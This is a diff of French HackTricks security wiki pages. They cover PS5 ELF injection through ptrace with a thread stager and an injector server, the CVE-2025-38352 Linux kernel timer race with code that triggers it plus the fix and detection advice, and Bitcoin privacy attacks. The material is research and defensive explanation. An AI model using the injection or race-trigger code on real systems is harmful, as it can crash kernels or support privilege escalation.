## Remote Function Invocation (RFI) with ptrace
|
||||
|
||||
FreeBSD ne dispose pas des équivalents Windows VirtualAllocEx/CreateRemoteThread. À la place, forcez la cible à appeler des fonctions sur elle‑même sous contrôle ptrace :
|
||||
|
||||
1. Attachez-vous à la cible et sélectionnez un thread ; PTRACE_ATTACH ou des flows mdbg spécifiques à PS5 peuvent s'appliquer.
|
||||
2. Sauvegardez le contexte du thread : registers, PC, SP, flags.
|
||||
3. Écrivez les argument registers selon l'ABI (x86_64 SysV ou arm64 AAPCS64), réglez PC sur la fonction cible, et placez optionnellement des arguments/stack supplémentaires si nécessaire.
|
||||
4. Exécutez en single-step ou continuez jusqu'à un arrêt contrôlé (par ex. breakpoint logiciel ou signal), puis relisez les valeurs de retour depuis les regs.
|
||||
5. Restaurez le contexte original et continuez.
|
||||
|
||||
Use cases:
|
||||
- Appeler un ELF loader en-processus (par ex. elfldr_load) avec un pointeur vers votre image ELF dans la mémoire cible.
|
||||
- Invoquer des routines helper pour récupérer les entrypoints retournés et les pointeurs payload-args.
|
||||
|
||||
Example of driving the ELF loader:
|
||||
```c
|
||||
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||||
intptr_t args = elfldr_payload_args(target_pid);
|
||||
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||||
```
|
||||
Le loader mappe les segments, résout les imports, applique les relocations et retourne l'entry (souvent un CRT bootstrap) ainsi qu'un pointeur opaque payload_args que votre stager passe au main() du payload.
|
||||
|
||||
## Threaded stager et détachement propre
|
||||
|
||||
Un stager minimal à l'intérieur de la cible crée un nouveau pthread qui exécute le main de l'ELF puis déclenche int3 pour signaler à l'injector de se détacher :
|
||||
```c
|
||||
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||||
pthread_t thread;
|
||||
functions->pthread_create_ptr(&thread, 0,
|
||||
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||||
asm("int3");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Les pointeurs SCEFunctions/payload_args sont fournis par le loader/SDK glue.
|
||||
- Après le breakpoint et le detach, le payload continue dans son propre thread.
|
||||
|
||||
## Pipeline de bout en bout (implémentation de référence PS5)
|
||||
|
||||
Une implémentation fonctionnelle s'accompagne d'un petit serveur injecteur TCP plus d'un script client :
|
||||
|
||||
- Le serveur NineS écoute sur TCP 9033 et reçoit un header contenant le nom du processus cible suivi de l'image ELF:
|
||||
```c
|
||||
typedef struct __injector_data_t{
|
||||
char proc_name[MAX_PROC_NAME];
|
||||
Elf64_Ehdr elf_header;
|
||||
} injector_data_t;
|
||||
```
|
||||
- Utilisation du client Python:
|
||||
```bash
|
||||
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||||
```
|
||||
Exemple de payload Hello-world (enregistre dans klog) :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <ps5/klog.h>
|
||||
int main(){
|
||||
klog_printf("Hello from PID %d\n", getpid());
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Considérations pratiques
|
||||
|
||||
- Offsets et constantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) sont spécifiques au firmware et doivent être mis à jour à chaque release.
|
||||
- Les protections de l'hyperviseur forcent des data-only kernel writes ; n'essayez pas de patcher CR0.WP ou CR4.SMEP.
|
||||
- JIT memory est une alternative : certains processus exposent des PS5 JIT APIs pour allouer des pages exécutables. L'inversion de la protection vm_map supprime la nécessité de s'appuyer sur des astuces JIT/mirroring.
|
||||
- Assurez-vous que la sauvegarde/restauration des registres est robuste ; en cas d'échec, vous pouvez provoquer un deadlock ou un crash de la cible.
|
||||
|
||||
## Outils publics
|
||||
|
||||
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
|
||||
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||||
- Injector server: https://github.com/buzzer-re/NineS/
|
||||
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
|
||||
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||||
|
||||
## Références
|
||||
|
||||
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||||
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||||
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||||
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||||
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||||
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||||
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||||
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,19 +1,19 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page documente une condition de course TOCTOU dans les POSIX CPU timers de Linux/Android pouvant corrompre l'état d'un timer et provoquer un crash du kernel, et pouvant, dans certaines circonstances, être exploitée pour une élévation de privilèges.
|
||||
Cette page documente une condition de course TOCTOU dans les POSIX CPU timers de Linux/Android qui peut corrompre l'état d'un timer et provoquer un crash du kernel, et qui, dans certaines circonstances, peut être orientée vers une privilege escalation.
|
||||
|
||||
- Composant affecté : kernel/time/posix-cpu-timers.c
|
||||
- Primitive : course d'expiration vs suppression lors de la sortie d'une tâche
|
||||
- Sensible à la configuration : CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (chemin d'expiration en contexte IRQ)
|
||||
- Composant affecté: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: expiry vs deletion race under task exit
|
||||
- Sensible à la configuration: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Rappel rapide des internals (pertinent pour l'exploitation)
|
||||
- Trois horloges CPU assurent le comptage des timers via cpu_clock_sample() :
|
||||
Récapitulatif rapide des internals (pertinent pour l'exploitation)
|
||||
- Trois horloges CPU assurent la comptabilité des timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime uniquement
|
||||
- CPUCLOCK_VIRT: utime seulement
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- La création d'un timer relie un timer à une tâche/pid et initialise les nœuds du timerqueue :
|
||||
- La création d'un timer associe un timer à une task/pid et initialise les timerqueue nodes:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
@ -27,7 +27,7 @@ rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming insère des éléments dans une per-base timerqueue et peut mettre à jour le cache next-expiry:
|
||||
- L'armement insère dans une timerqueue par base et peut mettre à jour le cache de la prochaine expiration :
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- La voie rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible :
|
||||
- Le chemin rapide évite un traitement coûteux sauf si les expirations mises en cache indiquent un déclenchement possible :
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
@ -50,7 +50,7 @@ return true;
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- L'expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file d'attente ; la livraison effective est différée :
|
||||
- L'expiration collecte les timers expirés, les marque comme déclenchés, les retire de la file d'attente; la livraison effective est différée :
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
@ -70,7 +70,7 @@ return U64_MAX;
|
||||
```
|
||||
Deux modes de traitement des expirations
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: l'expiration est différée via task_work sur la tâche cible
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est gérée directement dans le contexte IRQ
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: l'expiration est traitée directement dans le contexte IRQ
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
Dans le chemin IRQ-context, la firing list est traitée en dehors de sighand.
|
||||
Dans le chemin de contexte IRQ, la liste de déclenchement est traitée en dehors de sighand
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
@ -114,45 +114,44 @@ spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Cause racine : TOCTOU entre l'expiration en contexte IRQ et la suppression concurrente lors de la terminaison d'une tâche
|
||||
|
||||
Prérequis
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (chemin IRQ utilisé)
|
||||
- La tâche cible est en cours d'arrêt mais pas encore complètement reaped
|
||||
- Un autre thread appelle posix_cpu_timer_del() de manière concurrente pour le même timer
|
||||
Cause racine : TOCTOU entre l'expiration en IRQ-time et la suppression concurrente lors de la sortie de la tâche
|
||||
Préconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK est désactivé (IRQ path in use)
|
||||
- La tâche cible est en train de se terminer mais pas encore complètement reaped
|
||||
- Un autre thread appelle simultanément posix_cpu_timer_del() pour le même timer
|
||||
|
||||
Séquence
|
||||
1) update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la tâche en cours d'arrêt.
|
||||
2) collect_timerqueue() définit ctmr->firing = 1 et déplace le timer vers la liste temporaire des timers en cours d'exécution.
|
||||
3) handle_posix_cpu_timers() relâche sighand via unlock_task_sighand() pour délivrer les timers en dehors du verrou.
|
||||
4) Immédiatement après le déverrouillage, la tâche en cours d'arrêt peut être reaped ; un thread frère exécute posix_cpu_timer_del().
|
||||
5) Dans cette fenêtre, posix_cpu_timer_del() peut échouer à acquérir l'état via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter la garde in-flight habituelle qui vérifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n'était pas en firing, corrompant l'état pendant que l'expiration est traitée, conduisant à des crashes/UB.
|
||||
1) update_process_times() déclenche run_posix_cpu_timers() en contexte IRQ pour la tâche en cours de sortie.
|
||||
2) collect_timerqueue() met ctmr->firing = 1 et déplace le timer dans la liste temporaire de firing.
|
||||
3) handle_posix_cpu_timers() libère sighand via unlock_task_sighand() pour délivrer les timers hors du lock.
|
||||
4) Immédiatement après le unlock, la tâche en sortie peut être reaped ; un thread sibling exécute posix_cpu_timer_del().
|
||||
5) Dans cette fenêtre, posix_cpu_timer_del() peut échouer à acquérir l'état via cpu_timer_task_rcu()/lock_task_sighand() et ainsi sauter le garde normal in-flight qui vérifie timer->it.cpu.firing. La suppression se poursuit comme si le timer n'était pas firing, corrompant l'état pendant que l'expiration est traitée, menant à des plantages/UB.
|
||||
|
||||
Pourquoi le mode TASK_WORK est sûr par conception
|
||||
- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l'expiration est différée vers task_work ; exit_task_work s'exécute avant exit_notify, donc le chevauchement en contexte IRQ avec le reaping n'a pas lieu.
|
||||
- Même dans ce cas, si la tâche est déjà en train de se terminer, task_work_add() échoue ; le contrôle via exit_state rend les deux modes cohérents.
|
||||
- Avec CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, l'expiration est différée à task_work ; exit_task_work s'exécute avant exit_notify, donc le chevauchement IRQ-time avec le reaping ne se produit pas.
|
||||
- Même alors, si la tâche est déjà en cours de sortie, task_work_add() échoue ; le gating sur exit_state rend les deux modes cohérents.
|
||||
|
||||
Correctif (Android common kernel) et justification
|
||||
- Ajouter un early return si la tâche courante est en train de se terminer, conditionnant tout le traitement :
|
||||
Correctif (noyau Android commun) et justification
|
||||
- Ajouter un early return si la tâche courante est en train de se terminer, gating tout le traitement :
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en sortie, éliminant la fenêtre où posix_cpu_timer_del() pourrait manquer it.cpu.firing et entrer en concurrence avec le traitement d'expiry.
|
||||
- Cela empêche d'entrer dans handle_posix_cpu_timers() pour les tâches en cours de sortie, éliminant la fenêtre où posix_cpu_timer_del() pourrait manquer it.cpu.firing et entrer en concurrence avec le traitement d'expiration.
|
||||
|
||||
Impact
|
||||
- La corruption de la mémoire kernel des timer structures lors d'expiry/deletion concurrente peut provoquer des crashs immédiats (DoS) et constitue un primitive puissant vers privilege escalation en raison des opportunités de manipulation arbitraire de l'état kernel.
|
||||
- La corruption mémoire du kernel des structures de timer lors d'expiration/suppression concurrentes peut provoquer des crashs immédiats (DoS) et constitue un puissant primitive pour l'escalade de privilèges en raison des opportunités de manipulation arbitraire de l'état du kernel.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
|
||||
- Ciblez un thread sur le point de quitter et attachez-lui un CPU timer (horloge par thread ou par processus) :
|
||||
- Pour un timer par thread : timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Pour une horloge par processus : timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Armez avec une expiration initiale très courte et un petit intervalle pour maximiser les entrées dans le chemin IRQ :
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
@ -166,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- Depuis un sibling thread, supprimer simultanément le même timer pendant que le target thread se termine :
|
||||
- Depuis un thread frère, supprimer simultanément le même timer pendant que le thread cible se termine :
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Facteurs aggravants : taux de tick élevé du scheduler, charge CPU, cycles répétés de sortie/recréation de threads. Le crash se manifeste généralement lorsque posix_cpu_timer_del() omet de détecter le firing en raison d'un échec du lookup/locking de la tâche juste après unlock_task_sighand().
|
||||
- Race amplifiers: taux de tick du scheduler élevé, charge CPU, cycles répétés d'arrêt/re-création de threads. Le crash se manifeste typiquement lorsque posix_cpu_timer_del() omet de remarquer le firing à cause d'un échec de lookup/lock de la task juste après unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation : appliquer la garde exit_state ; préférer activer CONFIG_POSIX_CPU_TIMERS_TASK_WORK lorsque possible.
|
||||
- Observabilité : ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; alerter lorsque it.cpu.firing==1 est observé conjointement avec un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences de timerqueue autour de la sortie de la tâche.
|
||||
- Mitigation: apply the exit_state guard ; préférer activer CONFIG_POSIX_CPU_TIMERS_TASK_WORK quand c'est possible.
|
||||
- Observability: ajouter des tracepoints/WARN_ONCE autour de unlock_task_sighand()/posix_cpu_timer_del() ; alerter quand it.cpu.firing==1 est observé conjointement à un échec de cpu_timer_task_rcu()/lock_task_sighand() ; surveiller les incohérences du timerqueue autour de la sortie de la task.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() : sélection (chemin TASK_WORK vs IRQ)
|
||||
- collect_timerqueue() : définit ctmr->firing et déplace les nœuds
|
||||
- handle_posix_cpu_timers() : libère sighand avant la boucle de firing
|
||||
- posix_cpu_timer_del() : s'appuie sur it.cpu.firing pour détecter une expiration en vol ; cette vérification est ignorée lorsque le lookup/lock de la tâche échoue pendant exit/reap
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- Le comportement divulgué est une primitive fiable de crash du kernel ; la transformer en élévation de privilèges nécessite typiquement un chevauchement contrôlable additionnel (durée de vie d'objet ou influence write-what-where) hors du périmètre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs.
|
||||
- Le comportement divulgué est une primitive fiable de crash du kernel ; la transformer en élévation de privilèges nécessite typiquement un recouvrement supplémentaire contrôlable (durée de vie d'objet ou influence write-what-where) hors du périmètre de ce résumé. Traitez tout PoC comme potentiellement déstabilisant et exécutez-le uniquement dans des émulateurs/VMs.
|
||||
|
||||
## Références
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,174 +5,182 @@
|
||||
## Concepts de base
|
||||
|
||||
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution d'accords sans intermédiaires.
|
||||
- **Decentralized Applications (dApps)** reposent sur les smart contracts, avec une interface front-end conviviale et un back-end transparent et auditable.
|
||||
- **Tokens & Coins** différencient les rôles : les coins servent de monnaie numérique, tandis que les tokens représentent de la valeur ou une propriété dans des contextes spécifiques.
|
||||
- **Utility Tokens** donnent accès à des services, et **Security Tokens** signifient la propriété d'actifs.
|
||||
- **DeFi** désigne Decentralized Finance, offrant des services financiers sans autorités centrales.
|
||||
- **DEX** et **DAOs** se réfèrent respectivement aux Decentralized Exchange Platforms et aux Decentralized Autonomous Organizations.
|
||||
- **Decentralized Applications (dApps)** reposent sur les smart contracts, offrant un front-end convivial et un back-end transparent et auditable.
|
||||
- **Tokens & Coins** font la distinction entre coins servant de monnaie numérique, tandis que les tokens représentent de la valeur ou la propriété dans des contextes spécifiques.
|
||||
- **Utility Tokens** donnent accès à des services, et **Security Tokens** représentent la propriété d'actifs.
|
||||
- **DeFi** signifie Decentralized Finance, offrant des services financiers sans autorités centrales.
|
||||
- **DEX** et **DAOs** désignent respectivement Decentralized Exchange Platforms et Decentralized Autonomous Organizations.
|
||||
|
||||
## Mécanismes de consensus
|
||||
|
||||
Les mécanismes de consensus garantissent la validation sécurisée et convenue des transactions sur la blockchain :
|
||||
Les mécanismes de consensus assurent des validations de transaction sûres et consensuelles sur la blockchain :
|
||||
|
||||
- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vérification des transactions.
|
||||
- **Proof of Stake (PoS)** exige que les validateurs détiennent une certain nombre de tokens, réduisant la consommation d'énergie par rapport au PoW.
|
||||
- **Proof of Stake (PoS)** exige que les validateurs détiennent une certaine quantité de tokens, réduisant la consommation d'énergie comparé au PoW.
|
||||
|
||||
## Notions essentielles sur Bitcoin
|
||||
## Essentiels de Bitcoin
|
||||
|
||||
### Transactions
|
||||
|
||||
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées via des signatures numériques, garantissant que seul le détenteur de la clé privée peut initier des transferts.
|
||||
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées via des signatures numériques, garantissant que seul le propriétaire de la clé privée peut initier des transferts.
|
||||
|
||||
#### Composants clés :
|
||||
|
||||
- **Multisignature Transactions** requièrent plusieurs signatures pour autoriser une transaction.
|
||||
- Les transactions se composent d'**inputs** (origine des fonds), d'**outputs** (destination), de **fees** (frais payés aux mineurs) et de **scripts** (règles de la transaction).
|
||||
- Les transactions se composent d'**inputs** (source des fonds), d'**outputs** (destination), de **fees** (payés aux miners) et de **scripts** (règles de la transaction).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, en ne diffusant sur la blockchain que l'état final.
|
||||
Le Lightning Network vise à améliorer l'évolutivité de Bitcoin en permettant plusieurs transactions au sein d'un canal, n'en diffusant que l'état final sur la blockchain.
|
||||
|
||||
## Problèmes de confidentialité de Bitcoin
|
||||
|
||||
Les attaques sur la confidentialité, telles que **Common Input Ownership** et la **détection d'adresses de change UTXO**, exploitent les motifs transactionnels. Des stratégies comme les **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre utilisateurs.
|
||||
Les attaques contre la confidentialité, comme **Common Input Ownership** et **UTXO Change Address Detection**, exploitent des motifs de transaction. Des stratégies comme **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre utilisateurs.
|
||||
|
||||
## Acquérir des Bitcoins de façon anonyme
|
||||
## Acquérir des Bitcoins de manière anonyme
|
||||
|
||||
Les méthodes incluent les transactions en espèces, le mining et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** camoufle les CoinJoin en transactions régulières pour une confidentialité accrue.
|
||||
Les méthodes incluent les échanges en espèces, le mining et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** déguise les CoinJoins en transactions ordinaires pour une confidentialité renforcée.
|
||||
|
||||
# Attaques de confidentialité Bitcoin
|
||||
|
||||
# Résumé des attaques contre la confidentialité Bitcoin
|
||||
# Résumé des attaques de confidentialité Bitcoin
|
||||
|
||||
Dans l'univers de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent préoccupants. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles des attaquants peuvent compromettre la confidentialité sur Bitcoin.
|
||||
Dans l'univers de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent des sujets de préoccupation. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles des attaquants peuvent compromettre la confidentialité Bitcoin.
|
||||
|
||||
## **Hypothèse d'appartenance commune des inputs**
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
Il est généralement rare que des inputs provenant de différents utilisateurs soient combinés dans une seule transaction à cause de la complexité impliquée. Ainsi, **deux adresses en tant qu'inputs dans la même transaction sont souvent supposées appartenir au même propriétaire**.
|
||||
Il est généralement rare que des inputs provenant de différents utilisateurs soient combinés dans une seule transaction en raison de la complexité impliquée. Ainsi, **deux adresses en input dans la même transaction sont souvent supposées appartenir au même propriétaire**.
|
||||
|
||||
## **Détection d'adresse de change UTXO**
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
Un UTXO, ou Unspent Transaction Output (sortie de transaction non dépensée), doit être dépensé intégralement dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste est renvoyé à une nouvelle adresse de change. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant la confidentialité.
|
||||
Un UTXO, or Unspent Transaction Output, doit être entièrement dépensé dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste est envoyé à une nouvelle change address. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant la confidentialité.
|
||||
|
||||
### Exemple
|
||||
|
||||
Pour atténuer cela, les services de mixing ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
|
||||
|
||||
## **Exposition via les réseaux sociaux & forums**
|
||||
## **Exposition via réseaux sociaux et forums**
|
||||
|
||||
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, ce qui rend **facile de lier l'adresse à son propriétaire**.
|
||||
|
||||
## **Analyse du graphe des transactions**
|
||||
## **Analyse du graphe de transactions**
|
||||
|
||||
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre utilisateurs basées sur le flux de fonds.
|
||||
|
||||
## **Heuristique de l'input inutile (Optimal Change Heuristic)**
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
Cette heuristique se base sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est la monnaie de retour (change) revenant à l'expéditeur.
|
||||
Cette heuristique se base sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est le change retournant à l'expéditeur.
|
||||
|
||||
### Exemple
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Si l'ajout d'inputs rend la sortie de change plus grande que n'importe quel input individuel, cela peut tromper l'heuristique.
|
||||
Si l'ajout de plusieurs entrées rend la sortie de change plus grande que n'importe quelle entrée individuelle, cela peut perturber l'heuristique.
|
||||
|
||||
## **Forced Address Reuse**
|
||||
|
||||
Les attaquants peuvent envoyer de petites sommes à des adresses déjà utilisées, en espérant que le destinataire les combine avec d'autres inputs dans des transactions futures, liant ainsi les adresses entre elles.
|
||||
Les attaquants peuvent envoyer de petites sommes à des adresses déjà utilisées, en espérant que le destinataire les combine avec d'autres entrées dans de futures transactions, liant ainsi les adresses entre elles.
|
||||
|
||||
### Correct Wallet Behavior
|
||||
### Comportement correct des portefeuilles
|
||||
|
||||
Les wallets doivent éviter d'utiliser les coins reçus sur des adresses déjà utilisées et vides pour prévenir cette privacy leak.
|
||||
Les portefeuilles doivent éviter d'utiliser les coins reçus sur des adresses déjà utilisées et vides afin de prévenir cette privacy leak.
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **Exact Payment Amounts:** Les transactions sans change sont probablement entre deux adresses appartenant au même utilisateur.
|
||||
- **Round Numbers:** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, la sortie non ronde étant probablement la sortie de change.
|
||||
- **Round Numbers:** Un montant rond dans une transaction suggère qu'il s'agit d'un paiement, la sortie non ronde étant probablement le change.
|
||||
- **Wallet Fingerprinting:** Différents wallets ont des schémas uniques de création de transactions, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de change.
|
||||
- **Amount & Timing Correlations:** La divulgation des heures ou des montants des transactions peut rendre les transactions traçables.
|
||||
- **Amount & Timing Correlations:** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables.
|
||||
|
||||
## **Traffic Analysis**
|
||||
|
||||
En surveillant le trafic réseau, des attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité exploite de nombreux nœuds Bitcoin, renforçant sa capacité à surveiller les transactions.
|
||||
En surveillant le trafic réseau, les attaquants peuvent potentiellement relier des transactions ou des blocs à des adresses IP, compromettant la vie privée des utilisateurs. Cela est particulièrement vrai si une entité exploite de nombreux nœuds Bitcoin, augmentant sa capacité à surveiller les transactions.
|
||||
|
||||
## More
|
||||
## Plus
|
||||
|
||||
Pour une liste complète des attaques et des défenses en matière de confidentialité, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
Pour une liste complète des attaques et des défenses en matière de vie privée, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **Cash Transactions**: Acquérir du bitcoin en espèces.
|
||||
- **Cash Alternatives**: Acheter des cartes-cadeaux et les échanger en ligne contre du bitcoin.
|
||||
- **Mining**: La méthode la plus privée pour gagner des bitcoins est le mining, surtout en solo car les mining pools peuvent connaître l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Théoriquement, voler des bitcoins pourrait être une autre méthode pour les obtenir anonymement, bien que ce soit illégal et non recommandé.
|
||||
- **Cash Transactions:** Acquérir des bitcoins en espèces.
|
||||
- **Cash Alternatives:** Acheter des cartes-cadeaux et les échanger en ligne contre des bitcoins.
|
||||
- **Mining:** La méthode la plus privée pour gagner des bitcoins est le mining, surtout en solo, car les mining pools peuvent connaître l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft:** Théoriquement, voler des bitcoins pourrait être une autre méthode pour les acquérir anonymement, bien que ce soit illégal et non recommandé.
|
||||
|
||||
## Mixing Services
|
||||
|
||||
